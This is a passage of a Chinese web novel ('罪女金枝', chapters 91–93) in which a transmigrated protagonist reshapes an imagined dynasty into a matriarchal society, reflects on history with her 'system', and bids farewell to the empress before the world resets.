郦嗣音却是个顾念旧情之人,她的后宫基本都是按年份排的,很少按喜爱排,柳氏跟她最久,破格提为三御,为众侍之首,帮她料理后宫诸事。 实权帝王的喜爱,比什么都有用,如今京中风头最劲的,不是新进京的郦氏贵胄,而是柳氏那一家。 至于为什么不说是叶奚青和上官兰翌,人俩从龙之功,再风光也是应当的,她们有什么样的荣宠,底下人都不觉得奇怪。 至此,叶奚青已经完全走上了封建臣子的人生巅峰,不想努力了,躺下享受生活。 人一闲下来,就容易犯欠,笑吟吟看向系统:“系统大人,还有什么想说的吗?” 系统:…. 这个世界,它完全落败,不说男主没了,连社会都被叶奚青改造成了女尊社会,这件事到底是怎么发生的!它被打击得拼不起来,但不管什么时候,它都不会轻言放弃。 “那又如何呢,这只是个游戏世界,宿主只要有挂,想怎么开都可以,真实的历史,不会发生任何改变哦。” 叶奚青忍不住笑了一下:“这才是那又如何,正因为是游戏世界,才有参考价值,历史那种只有一次机会,每次失败都不可挽回的绝对演绎,有什么参考价值。” 系统冷笑一声:“宿主的意思是,一个模拟游戏,反而比真实的历史更有参考性?” 叶奚青理所当然道:“为什么不呢?科学实验中,也只有千百次的实验,才能总结出大致规律,历史却是一条无法挽回的单程线。“ “一辆马车,顺着山路稳稳当当下山是历史,不小心翻沟里,一路滚下山崖也是历史。”“历史除了能记载马车确实滚下了山沟,不能证明任何事,既不能证明马车滚下山沟的合理性,也不能证明马车不管怎么样都会滚下山沟。” “所以我一向没有历史悲观主义,你的打击对我无效。” 系统:…… “你是没有历史悲观主义,你是历史虚无主义!” “按照你的理论,一辆马车滚下山沟是偶然,那所有马车都滚下沟,不说明是历史的必然吗!” “历史确实是一条单程线,历史也很漫长,所有马车都无比默契地滚下了山崖,说明什么?” “说明我们的世界是被设计好的。” 系统:“什么?”叶奚青不紧不慢地回答:“社会学一直有一种很有名的理论,一片森林,不可能只有一棵树,一整个宇宙,也不可能只有地球一个文明。”“如果真发生了那种事,就说明我们现有的一切,都是被设计好的。”“现在出现了一个族群,从古至今,不约而同,只做一种选择的情况,说明什么?”系统:….系统不答,叶奚青就帮它回答:“说明我们的历史也是被设计好的。”“仔细想想,如果远古时候,母权还没解除的时候,女人就意识到她们的男儿也会伤害她们,暴力减少孕育男儿,约束男儿,就不会诞生极端男权,但她们没有。”“如果商周之前,女性还掌握强大力量的时候,出现一个所向披靡的母系部落,复归母系传统,还会扭转局势,但她们也没有。”“哪怕衍化到宋唐,礼教驯化越来越严重的时候,还出现了一个女帝,已经深知男权之害的她,政治生命如果延续下去,也会带来一些不一样的改变,但是也没有。”“每个节点其实都不无可能,每个选择所差的也只是一念之间,一息之机的功夫。”“若是只有一个人还正常,因为正常的人就是会犯错,甚至一辈子一直犯错。”“但作为一个可以轻易杀死另一个族群的族群,却在历史的每个衍变节点,都做出了错误的选择,让自己沦落成奴隶不如的境地。”“这种小概率事件,就像认真涂答题卡,精准避过每一个正确答案。”“凡事无绝对,自然状态下,可能也存在这种情况。”“但若数以万亿计的样本,都做出同一个选择,那真的恐怖到让人怀疑这个世界真实性的地步。”“历史这门学科让我觉得恐怖的地方也在于,越探索,越觉得世界中存在一个无形之手。”“作为一个接受唯物主义教育长大的人,我天生不相信‘神’,历史却总让我看见‘神’的影子。”“让我说服自己这个世界是真实的,其实源于两种推论。”“一个是历史确实就是历史,没有逻辑性,只要引发一点坍塌,就会产生一场持续千年万年的雪崩。”“一个是我们的世界,干脆就是恒河沙数的平行宇宙之一。”“平行宇宙的原理,是人每做出一次选择,都会引发两种不同的结果,衍生出两个截然不同的宇宙。““将所有人的选择按对与错排列组合,不存在所有人都做错的可能,但确实存在一个永远错误的分支。”“这个分支出现得非常无脑极端,但确实会存在这么一种可能,甚至可能就是我们的世界。”“在这个基础上,我去追寻历史形成的合理性,并论证它的权威,那就有点太愚拿了。”“万一我们只是一段被设定好的程序,我们历史的必然性,只源于历史有无限可能,但有一支最错的分支,需要我们演绎呢?”“一想到有无数平行世界的人,做对了选择,过着安逸的生活,偷偷看出生于错误世界的我们,追寻错误的意义,我就想笑。”“这世界上多数事情发生的理由,都蠢得让人发笑,太执着于追究成因,往往是为愚蠢背书。”“所以比起论证历史的权威性和合理性,我更愿意相信我们是无数平行宇宙,最错最错那个分支。”“这样的历史,除了提供一个背景故事,有什么好在意的?”“如果历史与我的意愿相悖,我会质疑历史,而不是让历史质疑我。” 91、《罪女金枝》 系统自那之后,再没有声了,叶奚青迎来了自己的理想生活。 古代虽然没有手机,但如果有权有势的话,也能过上非常安逸快乐的日子。 生活节奏慢,在现代上的发条,突然松懈下来,叶奚青连高考知识都不想复习了。 一个是复习得太多,都快吐了。 一个是还有六个世界,她该当掌握的知识点,已经和驾驶本能一样,刻进骨子里,会忘的知识点,再看也会忘,不如等临回家时再看。 这么多世界,还是叶奚青第一次抛弃自己高中生的身份,完全不焦虑学习上的事。 有了轻松愉快的心情,叶奚青就把这次穿越之旅,当成了一场完全的“农家乐”,和真人经营游戏。 民以食为天,古代生产力低下,很多人都吃不饱饭,最重要的还是耕作。 农作物改进只要提个概念,古人自动就知道去研究。 随着郦嗣音整顿海军,大力发展造船术,火药运用到舰船上,大毓的舰队越行越远,带回不少优良的农作物,当然少不了产量史诗级进步的占城稻。 此时的南方虽然气候条件优越,但还没有完全开发出来,有了占城稻和棉花的契机,上官兰翌在南方做城乡规划的心愿得以实现。 叶奚青在现代时,体会过很多积重难返,不好改造的痛点,在改造之初,就让上官兰翌注意。 上官兰翌是一个非常擅长民生规划的人,得到一些启示,就会提出非常好的解决方案,叶奚青最喜欢和她说话,太好交流了。 在朝廷和朝廷下放的地方官共同努力下,所有州县,都在有条不紊地规划发展,百姓也给了朝廷缓和发展的余地。 不管什么时候,底层百姓只想活下去罢了,而很多时候,活下去也很难。 郦嗣音上位后,强硬地废除了所有贱籍,一视同仁,重新配田。 等全国土地改革完,人口重新报数,户籍人数多了一千来万。 不是新生人口,而是之前为了逃税变成黑户私奴,现在朝廷政策宽和,重新回来报户的人口。 有了自己的田地,农民自己耕种其实就能养活自己,只要能养活自己,他们就会对朝廷感恩戴德,还会努力交税。新地法后,土地完全收归官有,不允许任何形式的土地买卖,也就在最大限度,防止了农民的土地被豪强兼并走。 朝廷的农技部,一边各种研究杂交、扞插、育肥技术,一边改革农具,让农民耕种垦荒更省力。 闲暇时间,各个地方都水工划区,让当地百姓挖河作坝,共修水利。 新法取消了各家各户征劳役,闷头干到完工的制度。 采用轮户制,划定每家每户的作业段,让当地百姓成组去做,不究上阵几个人,到时间完成就行,做完就回家,换下一组来,给劳工喘息时间。 这样作业和督工在后面拿着鞭子抽相比,确实要慢许多。 但慢工出细活,百姓也不会被整死,还有点集体荣誉感,就那么一段段地往外扩展,最后连成一片。 河流就像大地的血管,能快捷地通往任何方向,水运是科技不发达的古代,最便利的交通方式。 原本无产的百姓,收到官府的配田,种田热情变高,农技进步,农作物产量提升,粮食很快成了富余产品。 粮食一旦富余,商业就会兴起,各种各样的商船,随着运河的贯通,奔行在全国各地。 封建王朝,对商人的限制力度一直很大,大毓也没有例外。 新法不仅没解禁对商人的限制,还新增加了一条,商人不能配田,不能科举,商税交的也很高。 但就算这样,弃农经商的也越来越多,盖因士农工商,除了士是真头部,农只是口头上荣誉。 社会一旦发展起来,谁过得都比农好,再不给农一些口头上的光荣鼓励,更没人干了。 所以虽然历史告诉叶奚青,封建社会的下一步是资本主义,叶奚青也觉得没必要发展,商人该抑制还是抑制。 不说拥有唯一性的历史,是否有参考价值,已经知道错的路,为什么还要重走一遍。 就不能渡过富足且强权压迫的封建时期,民众意识觉醒,意识到封建制度的危害。 在封建社会的强权压迫下,资本主义也没发展起来,略过这段,直接进入大同社会吗? 所以在意识形态上,不管是对郦嗣音,还是巫女教的教义编写,叶奚青都有意的培养工农为先的意识,工农可以从政,商人不可以。 工农的待遇也一直在提升,农杂税一减再减,工人的工资和假期,都写在大毓律里严格执行。 地方官想官商勾结可以,但你得保证完全没人垂涎你的位置。 郦嗣音上位后,遍开公学,育化子民,取仕门槛进一步下沉,真的是你不干有的是人干。 士农工商士打头,想当官的可太多了,只要给把柄,就有人想取代。 事实证明,给工人提待遇不会影响商业发展,国家动荡,吏治浑浊才会。 平稳的政局,比原来清明了不知多少的吏治,是商业繁荣的温床。 普通百姓收入高,消费也高,商业的发展状态还更良性。 高昂的人工成本,让小商出头更多,一碗饭分给很多人吃,每个人都能吃到一点,减少了大商垄断,挤压同行的情况。 严明清晰的商业保护法,也禁止官员任意宰割商户,其实比起给工人提待遇,官员的宰割更让商户接受不了。 工农安居,商人乐业,以暴力手段镇压得来的政局,后续发展却可以用一个“缓”字来概括。 但是缓,不代表不发展,一层一层夯实基础,终于在某一刻,迎来了前所未有的大爆发! 二十来年的时间,户籍人数暴增了两千万,这次是新生人口。 国库的储备粮也已经到了烂了都在当地卖不出去的地步,只能用来酿酒和远销。 发展到这个地步,郦嗣音就取消了田税,也取消了很多手工业征物杂税,统一纳钱币,官设粮行,储粮贩粮,调控粮价。 国库富足,郦嗣音就开始了她的西出北进之路。 她已经受够了西、北边境,时时有敌骚扰的状态,这次他们不主动来,她也要主动去! 麻三姑平定南方叛乱后,郦嗣音就任命她为西境节度使,帮她平西。 屠四娘和乌阔真,合力北伐! 大毓的军队,不再采用以往的征兵制,而是采用募兵制,也不再分田励战,而是以爵禄励战,爵禄可以世袭三世,三世后依代降等。 和旧社会各种禁止女子从业不同,变法后的大毓,除了巫山神女明令只有女人可以从事的巫道行业,其它行业,包括科举,都不限制男人参加。 但官府出的那个育子假,太恐怖了。 以前男人的长辈过世后,虽也有三年的丁忧之期,但大家都有,幸运点自己也可能赶不上。 但现在不管是妻子、母亲、姐妹哪个生孩子,自己都有可能被叫回家带孩子,放育子假,三年叠三年,半辈子就蹉跎过去了。 如果想逃育子假,一顶不孝的帽子扣下来,封建社会的不孝可不是一个形容词,而是一种罪名。 于是哪怕没有强制规定,男人的身影也在各行各业减少,更多的出现在家庭,照顾孩子,料理家事。 刚立母户的时候,既允许立女户,也允许女男结户,后期女男结户逐渐消失。 旧社会婚姻最大的功能,是为了繁衍后一代,男人因为不能生育,才需要花高价彩礼,娶个媳妇进来。 而以女人为主的家庭,其实不用的,女人可以最大限度自己生育下一代,一个家的姐妹也会帮着她养育,不一定非迎男人进门。 过去女人不授田,不可继承家产,迫使女人必须离家,嫁去别人家。 现在不仅女男同授田,人口密集的地方,女人授的还更多,女婴都会授,那民间自然想生养女儿。 女儿生的多了,突然发现,不分家,就在母户一直生活也很方便,根本不用额外沿袭旧制,女男结户。 百姓的生活,一向以便利为准,头脑再顽固的人,看到实际的好处,也不乐意贯彻旧有婚姻制了。 姐妹多的家族,更倾向于一起住,四合院的民居形式,很得百姓喜欢。 多修房间,母亲姐妹一起住,老母亲住主屋,三姐妹一人一间房,可以一起生活,一起经营一些个体户营生。 到了需要生孩子的时候,若是有三姐妹,一人生一个,就多了三个人,传代也好传代,总不可能那么不走运,三姐妹生的都是男儿。 只要有一个女儿,她们的家族就可以传下去,多余的男儿也可以留下来,照顾家里。 母系家族都是血缘之亲,很排外,一般懒得接受外来男儿,到了年纪,成女会花钱购子。 巫女教对女子生育极看重,推崇巫女教的官府,自然在生育上也很重视,生的少,生的精。 旧有事物消失的总没那快,所以还有愤愤不平的腐儒,对着这个逐渐陌生的世界痛斥: 群女子颠倒纲常,以为取得暂时的权力就能传承下去了吗,他们倒要看看,生个孩子都会死的女人,怎么握住权力! 握住权力,不愿吃苦的女人,还怎么乖乖生孩子! 等这个国家人没有人后,那位女皇帝还怎么当皇帝! 他这么惊世骇俗的言论,当然被邻居吓得举报了,消息一直传到京都,叶奚青看到,忍不住笑了。 有些时候,人就喜欢倒果为因。 封建社会从不把女人的生死当回事,十三四岁就嫁人,身体未发育成熟就生孩子,从不想着避孕,连轴生,生到死,多子多福,七八十岁的老头子,活着都费劲的病秧子,也可以找个女人,延续不知带着什么病的配子。女人在田里干着农活生产,在柴房里躲避污秽生产,身体不好也要拼死生一个,自己死了不要紧,一定要给老X家传宗接代! 一茬茬,犹如草芥一般,无声的死在产床上,反倒成了女人生育容易死,不可掌权的佐证。 她没有杀那个腐儒,而是让他看着,这个世界原本该是怎么样的。 由女人生育诞生的世界,不允许有忽视女人的制度。 古代医疗科技确实没有办法一步到位,那就用大自然赋予雌性的原始特权,筛选基因。 凡是不利于女性生育安全的基因,都不允许延续,以前的旧社会八十岁老头、天生残疾、智力障碍的男人,都会有人惯着他们,让他们的基因延续下去,现在不要想了。 每个乡村,都要有专业的巫医,专门保障女性的生育安全,生产医费国家补助,不需要产妇掏钱。 在地方积累大量接生经验,救活无数濒危孕妇的优秀巫医,还可以进宫为皇帝陛下服务。 医疗进步,往往来自于千万次的实践,积累了如此丰富样本的巫医门,也可以减少女皇因生育而死的情况,避免皇帝突然因生而死,造成政局紊乱。 不仅如此,大毓也重视儿科医疗。 女人生孩子,需要付出极大代价,她的孩子不能成为消耗品,和旧社会一样,皇帝杀儿子和砍西瓜一样。 信奉巫女教的大毓,不仅在乎母亲,也在乎孩子,儿科也是重中之重发展的医疗科技,不能让女人辛苦生下的孩子,白白死去。 婴儿生下来要给补助,六岁下的孩童依然是国家补助,诊疗不用付费。 这件事不管需要投入多少资金,朝廷都全力支持。 大毓的每个女人都知道,她们是巫山神女的使者,肩负着引航世界的重任,要将未来子孙的幸福握在自己手里。 用孩子换母亲的命是不值得的,女人身体不健康的情况下,宁可放弃成为母亲的机会,也不要冒险生育,去赌生孩子不会死那种可能。 男人提供的配子,也会影响胚胎质量,胚胎质量差,会造成母体流产,流产对母体的伤害不比生育小,绝对不能选择不健康的配子,造成母体损伤或死亡。 在繁衍下一代之前,要先学会保护自己,巫山神女不希望看见女人因生育而死。 健康的女人,选择健康的男人生孩子,不仅减少母亲因为生育而亡的概率,遗传性疾病也会减少,后代可以越来越少的遭受某些遗传疾病,后世女人身体强壮,生育自然也会越来越容易。生孩子宛如踏鬼门关的情况,再不存在。 母系社会,每个母亲生育的少了,但生完依然好好活着的母亲会越来越多。 母亲多了,哪怕只是一人生一个,人口也会不断增长。 巫山神女是一个崇生的神,她赞美生命,却不歌颂死亡。 繁衍是活着的生命才考虑的事,如果繁衍会威胁女人的生命,那一定要即刻停止! 这个世界,每天都有不同的变化。 上官兰翌这个宰相,每天忙着操劳民生。 屠四娘、乌阔真、麻三姑三大军事巨头,原本互相不服对方,结果不知道某天怎么突然就好了。 赵莺莺和崔小玉在地方当大员,时不时还想着给叶奚青寄一些士特产回来,怀念她们一起在宫宴偷吃的友谊。 最倒霉的事彭良工和拉克希米小姐,她们本来一对璧人,如胶似漆,结果一个忙着出海,一个忙着种棉花,再难聚首。 久受离别之苦的彭大人,开始培养后继者,并向郦嗣音请示,等她卸任后,可以陪着拉米回国吗? 郦嗣音这个大直女,对她们的爱情充满了不解,但是理解尊重,不给她干活,爱去哪去哪。 每一天都有新的好消息传来,粮食丰收、对外大捷、科技部又搞出个什么新东西、海外又带回了个离奇的物种,不知道是什么,反正献给陛下看看吧。红薯最先到账,玉米也在努力,叶奚青还嘱咐彭良工,能不能给她搞来个榴莲,把后世的价格打下去。 生育科技发展速度也快的惊人,地方上汇报来的母亲难产而亡的数量越来越少,从基层选拔上来的官员越来越多。 明明世界在逐渐变好,叶奚青却渐渐失去了探索的欲望,每天在府里闲吃养老。 她真的太懒了,懒得给人喂饭。 这个世界再好,其实也和她没什么关系,为了报复系统,叶奚青已经努力了十多年,现在不想努力了。 自己的世界,自己经营。 她只想活着,然后活着活着,活到死的时候。 92、《罪女金枝》 洛京的气候,要比北地温暖一些,但也已是银装素裹。 郦嗣音从燕都直接乘船归京,京中人没想到她回来得这么急,想要接驾,丽嗣音却直接跨上马,赶往一个地方。 自从太子长大,郦嗣音就将国事全交给太子,专心北伐。 她既有先进的战争技术,也有先进的治国理念,每打下一块地,连本地的原住民都不想反,投靠她的越来越多。 大毓也并不排外,信奉巫山神女的,就算毓人,同履大毓义务,同享大毓福利。 曾经困扰大毓边境的戎胡,很快被她消化殆尽,大毓现在的边境线已经和以前不一样了,就以燕都为陪都,贯修大运河,太子居洛京,她居燕地。 原本她此时应该在燕都,却因为一封电报传信,极速回京。 来到熟悉的府邸,轻车熟路地进去,发现叶奚青穿戴整齐,已经等候她多时了。 郦嗣音看着她与平时别无二致的样子,不由生气:“开什么玩笑,你这不挺好的呢吗!” 叶奚青淡定地看向她:“回光返照,回光返照懂吗,渡过这一段时间,马上就要死了。” 郦嗣音:…… 她在燕都好好地做进一步战略规划,就听见叶奚青叫她,让她务必在今天日落之前赶回,自己马上要死了。 这些年郦嗣音经过无数次叶奚青快死的情境,每次眼瞅着不行了不行了,她府里的人号啕大哭地去叫她,郦嗣音心慌得不行,以为人真要没了,带着太医急匆匆赶过去。 结果太医院的巫医一努力,又给救活了。 虽然她也不希望叶奚青死,但被这么溜了好几回后,一听到叶奚青病危的消息,她怎么就有点难受呢? 这次叶奚青又报了病危消息,郦嗣音都不想管了,有事去找太子,她都在燕都了! 但这次情况确实与以往不同,以往都是伺候叶奚青的人报病危信息,这次却是她亲自报的。 不知为什么,郦嗣音总有种感觉,叶奚青不说也就罢了,如果她说,就一定会成真。 一路车船急转,从燕都归京,看着她没事人的样子,真是气了个半死。 如果叶奚青敢拿这种事耍她,她一定要她好看! 叶奚青看着她的样子,知她心中所想,不由一笑:“别生气,没有骗你,我这次是真要不行了。” 郦嗣音冷笑一声:“你之前的几次也很像真的!” 叶奚青老老实实道:“这次不一样,这次是我大限已至,就算我无病无痛,上天也要收我了。” 郦嗣音虽然推行巫教,但她亲眼见证巫教是如何诞生的,并不信神,哪怕是巫山神女。 没好气道:“什么大限已至,有病就召太医!”叶奚青忍不住笑了:“这次是真救不活了。” “陛下可以理解为,您的属下我是谪仙下凡,犯下大错,被上天惩罚,塞进一个病弱之躯,受人间五弊三缺之苦。”“但是再重的刑罚,也会有刑满释放那天,天母下令时毫不容情,见爱女于人世蹉跎,又心生怜悯。”“如今您的属下将功折罪,被允准归天。”“天母特许本神君和人世告别,陪伴陛下到日落时分。”“昆仑天母座下有三千天女,与在下相好。”“如今她们见本神君尘劫已尽,打开天门,鼓乐笙歌,欢迎本神君回去。” “现在咱们头上,穿玄衣的是九天玄女,穿青衣的是赤水女妓,穿绿衣的是青要山武罗,穿素衣的是银河女织,还有好多好多,真可惜人神有别,陛下凡间帝王,肉眼凡胎,不能亲见。”郦嗣音:…… 她不知道叶奚青说这些鬼话,是安慰她,还是真的要升天了。但她都这么说了,所说的日暮诀别之刻,肯定是真的。郦文鸢的基因真的很优秀,她自己生了五个孩子,还活到八十二,郦嗣音只生了一个,那就更能活了。 作为长寿帝王,郦嗣音最不少见的就是故人离世。 一路行来,连上官兰翌都没挺下去,只有叶奚青病病歪歪,却一连挺了好几十年,陪她至今,如今连她都要走了……身边人死亡,不是一件说习惯就能习惯的事,但郦嗣音已经不是当初那个母亲去世,只顾着痛哭流涕的小姑娘了。一个成年人只会哭,太难看了,所以她没有流露出任何悲伤的情绪:“那你有什么后事要安排?” 叶奚青想了想,无所谓道:“我能有什么后事,只有一个爵位,就给承恩吧,侯府的话.……行行行,给太子吧。” 郦嗣音:…… 大毓有筛选生育遗传基因的传统,不仅筛配男,也会筛女人。关娴枝这样的身体,是绝不适合生育的,谁知道她那么瘦,老了还能得心脑血管方面的疾病啊!突然病发那一瞬,叶奚青真被气死了,好在太医院给力,给救回来了。从此之后,她的身体愈加不好,系统看着她:“要不然你死一死?”叶奚青果断拒绝,就不!她倒要看这个身体还有什么惊喜是她不知道的!叶奚青在突发心血管疾病,走动都不能自如的状态下,又硬挺了五年,给巫医学做出了无数贡献。要是世界不重启,她还想把身体捐出来解剖一下,重启就算了。但关娴枝的基因也别想流传下去,谁下辈子投胎想选这种身体,改善投胎环境,人人有责。因为她没有子嗣,王丽君也不想生二胎,就收养了个孤女,跟王丽君姓,取名王承恩。王丽君也早就没了,叶奚青现在名义上的亲人,只剩了王承恩一个。她们关系还行,爵位闲着也是闲着,就给她吧,这个破家,要是太子想要也给她。慢慢撑起身子:“我想和陛下最后赏赏雪。”湖心的小亭中,沸腾的茶炉,在沉重的冷气中,努力摇曳白雾。以前叶奚青身体不好,冬天都裹得严严实实,足不出户,防止风寒。 现在快死了,就没那么多讲究了,当然要体验一下古人拥炉赏雪的诗情画意。 离太阳落山还很远,当然不能干巴巴坐着,两个人有一搭没一搭地聊着天,聊着聊着,就说到了后事安排。 郦嗣音看向对面:“你那么喜欢巫山神女,朕就把你葬到巫山吧,你的坟头,朕会让人种满金丝楠木。” 叶奚青毫不犹豫拒绝:“不要金丝楠木,种点大枣、山杏之类的果树,以后结果了还能给人禽鸟兽吃,就当我保佑她们了。” “种那么多果树,岂不是天天都有人去你坟头踩踏?” “恕我直言,如果全种成金丝楠木,就会天天有人去我坟头砍树。” 郦嗣音: 对啊! 巫女教推行树葬,郦文鸢是最后一个依旧俗厚葬的帝王,为了以身作则,郦嗣音自己的陵墓也不采用旧葬仪。 但什么东西出来,就免不了攀比,树葬也是如此。 一开始底层百姓为了省事,都种松树,好活好养贫民树。 后来有的人有钱了,觉得自己不能和大众一样,那我种棵柳树吧! 比她更有钱的人一看不行,那我要种果树,不仅不好养,彰显财力,树成了还能收果,又增加一笔财富! 更加有钱的人觉得自己不能掉价,那我种金丝楠木,几百年成一棵,我们家根本不在乎短期利益,还有人能比吗! 就这么一路攀比,一路升级,每人都想种点不一样的树,展示自己,那皇帝能输吗,什么沉香、黄花梨、金丝楠木,凡是名贵的树种,她要种一山!这别人还真比不了,主要是皇帝,也没人敢和她比。 她的陵墓树,刚继位不久就在种,现在几十年过去,已经长得非常具有规模,远远一望,非常好看。 但现在一想,她种的树品种都那么珍贵,万一长成了,不肖子孙们确实很难不做一个违背祖宗的决定啊! 郦嗣音瞬间被气得站起来:“你当初怎么不提醒我呢!” 叶奚青:“你没问我啊。” 郦嗣音一向是个最关心自己的人,听她这么一说,立刻跳脚:“那朕要下令,朕坟山上的树,不许后世子孙砍伐!” 叶奚青摇头:“那陛下恐怕做不了主。” “古时帝王的陵寝再不让盗也盗了,下令又有什么用。”“您还不如大方点,和在下一样,多种点果树,乐于分享。”“这样后人看在吃过您果子的份上,还会对您手下留情,砍过之后,还会给您种回来。”“强权是无法不朽的,只有人性的光辉,源远流长。” 郦嗣音: 那还要朕感谢她们吗! 于是本来是叶奚青要死了,郦嗣音却想起了自己的身后事。 一脸沉重地盯着茶炉:“仔细想想,你死了其实不要紧,但是朕死后,国事要传给谁呢?” 叶奚青:……. “陛下,恕臣直言,您就太子一个孩子,还用纠结储君选谁吗?”郦嗣音抬起下巴:“就是只有一个孩子才生气啊,太子懦弱,完全不堪大任!” 叶奚青:太子为什么懦弱,你是只字不提啊……郦嗣音生孩子很晚。 她作为皇帝,当然很珍惜自己的生命,生育损伤被叶奚青渲染得太恐怖了,她不甘心自己的身体被孩子毁损,也不甘心自己的江山落入她人之手,所以她决定晚点生。 像庄稼一样,等快老死的时候,才结最后一颗果,在此之前,她要享受自己完美的生命。 至于孤注一掷生的不是女儿那种事,她不考虑,她想要个女儿,就一定有!所以郦嗣音和她妈生她时差不多年纪,才生了一个女儿,生完立刻册封太子。其实郦嗣音当时生太子的时候,挺顺利的。 群选育官全国筛选,严查祖上十八代,给她挑选最年轻、最好生养、最优质的配子。 在民间为大量民女治病接生,磨砺很多年的专业育生师,天天跟着她转,时时注意她的不适反应。 她身体又那么强壮,每天做生产锻炼,没费什么周折地成功顺产,就像母鸡下了一个蛋那么顺利。 但生孩子肯定疼啊,生得顺也疼。 十月怀胎也难熬,郦嗣音什么时候受过这种委屈,给她气哕了! 本来太子生出时好看点,还能挽回点母爱。 结果太子出生后,皱皱巴巴的,和所有新出生的婴儿一样丑。 她费了那么大劲,生了这么个丑东西,又给她气哕了,三御全部噶蛋,肯定是它们供子不力! 因为这个,郦嗣音的母亲对她宠爱有加,她却对太子半只眼睛看不上。 之后的岁月,她年纪更加大了,身体难免不如往昔。 正常来说,她的身体机能也该进入末期了,民间她这个年纪的人,很多都噶了,但她当然不会责怪自己,肯定是生太子生的! 作为独生子,太子确实从小就得到了全部资源,但从亲妈那,就没得到过一个好脸色。 从小到大学习不好,训!体测不合格,训!打不过别人,训! 就算什么事也没有,她也得找点事训太子一顿。 可怜的太子,小小年纪,承受了不该承受的压力,天天往上官兰翌那跑。 呜呜呜!老师!母皇太可怕了!我想要你给我当母亲! 上官兰翌:啊?太子殿下!您可别搞老臣啊! 不过没关系,被郦嗣音知道后,也是太子挨训,陛下舍不得训自己的爱臣。 但是上官兰翌还是挺惨的,一边要为国事操劳,一边还要帮熊母亲带熊孩子,没顶得住劳心劳力,走到了病秧子叶奚青前头。 至于太子为什么不往叶奚青那跑,叶奚青阴恻恻地坐在旁边笑的时候,其实并没有比丽嗣音好多少…. 这种情况下,太子怎么可能在母亲面前挺直腰杆,见到亲娘就和老鼠见了猫一样。 郦嗣音去陪都后,太子彻底解放,在家里召集所有人,欢庆了三天,然后被郦嗣音知道,电报手书一起骂,把太子那么大个人都给骂哭了。 太子真是想逃逃不了,想哭哭不能哭,也就是亲妈亲女儿,要不然郦嗣音该担心她坟头的树了。 提起女儿,郦嗣音就恨铁不成钢:“朕的女儿,怎么不像朕呢,真是比崖州王世子差远了!” 崖州王世子,是曾经的玉真郡主季飞燕,现在改名为郦飞燕的孩子。 她们一家原本被贬谪岭南,后来南方打着她们的旗号叛乱,又被贬到崖州,然后就在那住下了,飞燕变海燕。 南康王世子当然不可能不供出郦飞燕,当初她干了什么,郦嗣音一清二楚。 所以后来复起崖州那一脉的爵位时,郦嗣音故意把王爵给了大郡主昭明。 郦飞燕这是真被气死了,现在朝局太稳固,她在崖州操练海军,也无望谋反,本想着恢复王爵也行,结果郦嗣音给她搞这手! 大郡主昭明,是个老好人性格,又宠爱妹妹,见妹妹生气,立刻不安,答应以后王位给她女儿。 郦飞燕却打发女儿上京,争气点,给京中那母女俩一点颜色瞧瞧!郦飞燕野心勃勃地派出自己的女儿进京,却没想到虎妈生猫子,狼妈生犬子。小世子自小被养在姨母膝下,多得姨母教导,性格不像母亲那样乖戾,且和所有年轻女孩一样,崇拜神功赫赫的皇帝陛下!进京后没多久就讨得郦嗣音喜欢,摒弃前嫌,不管去哪都带着。 她多希望自己的女儿是这样的啊,但睁开眼,还得面对现实。 “你说是不是崖州那个女人,使邪术将朕的亲女儿换走了,太子一点不像朕,倒是麟儿更得朕心!” 叶奚青: 你以为像你是什么好事吗? 但是都到最后了,叶奚青决定给自己积点德。 转头看向天边,郦嗣音被她的动作带着也看过去,日暮时刻,不知不觉就要降临了。 按照叶奚青的说法,太阳落山,她就要升天了。 郦嗣音顿时转过头,一瞬不瞬盯着叶奚青,她倒要看看她怎么升! 沐浴着郦嗣音科学严谨的盯视,叶奚青在夕阳中露出一个微笑。 “陛下,其实您纠结这些,不外乎是知道自己会死,才会忧心忡忡。” “要是属下——” “能为您求来长生呢?” 作者有话说?显示所有文的作话 感谢小天使们的11个霸王票、859瓶营养液~ 毓王无终日,神女授长生,都说了公主是这个世界上最幸运的人啦[三花猫头]然后树那块当初确实没想到,就想着海边防护林得种一些高耐性的树,然后一查说黑松好,就都种黑松了。但现在想想,其实也没关系,交给葬行吧。不管什么行业肯定都得推陈出新才有竞争力,葬行也得搞点创意,到时候阶梯收费,不同价钱种不同树,有钱人的钱和穷人的钱一起赚。以后卖水果、卖木料时,就是这些水果出自XX祖墓,百年老墓,值得信赖[笑哭]。 93、《罪女金枝》 太阳渐渐西沉,郦文鸢猛然惊醒,她觉得自己好像做了一个很长的梦。 就在她回味梦中内容时,外面人影响动,突然闯进来一个人。 一般人不敢这么擅闯她寝殿,但有个人可以。 还不待她做好准备,来人已经一把抱住她,将头埋进她怀里,放声大哭,好像受了很多委屈。 郦文鸢缓缓伸出手。 如果是刚刚,她可能会以为女儿知道错了,来和她道歉,或者用更柔和的手段,哄骗她放过驸马。 但获得一段额外的记忆后,她知道都不是。 伸出手搂住女儿,记忆中自己临死时的样子,还历历在目。 她的女儿穿着太子的服饰,跪在她面前痛哭,又在她死后,承担起重任,将她的姓氏和国号发扬光大。 只是稍微看了一下那个未来的冰山一角,郦文鸢就心里发热,然后她的女儿,又回到了她身边。 到底是什么样的神仙伟力,可以做到这些,她已经不知道了。 她要享受自己新的生命,以及和女儿久违的重逢。 小轿摇摇晃晃,不知道要将自己载向哪里。 关娴枝思维都冻结了,在她单薄的人生轨迹里,不具备处置如此复杂局面的知识,以至于除了流泪,什么都做不到。 京中盛传的“玉面阎罗”裴少卿是个什么样的人…… 听说她们家和裴家有世仇…… 她去裴府,里面的人会怎么对待她…… 每一个想法都煎熬着她的精神,但她除了流泪,确实什么都做不到。 摇晃的小轿终于停下,关娴枝惊恐地看向轿帘。 小轿的四周,被厚重的帘布遮住,既不透光,也不透气,让她看不清前路。 但轿帘的掀开,带来的却不是光明,而是更深一层的恐惧。 关娴枝死死抓住座沿,惊惶失措地看向掀开帘子的人,却在帘幕打开的一瞬,愣在原地。 来人穿着男子惯常穿的御马服,却一眼即知,是个女子。 她身上的袍服绶带为紫,绣蟒纹,腰佩螭龙玉,裴少卿虽得陛下看中,应该也不能做此穿戴。 着此服者,必为皇室贵胄,且等级不低。 京中如此年纪,敢着此服,还为女子的,似乎只有一个。 季嗣音弯腰看向轿中人,轿子里的人也看向她。 从暗处看不清季嗣音的表情,季嗣音却可以将里面人的面容看得一清二楚。 沉声开口:“你叫什么名字?” 关娴枝心如擂鼓,不知所措,只能结结巴巴回答:“关…….关娴枝。” 季嗣音沉默了,不是她,哪怕只是一句话,她也知道不是她。 回想着记忆中最后出现的场景。 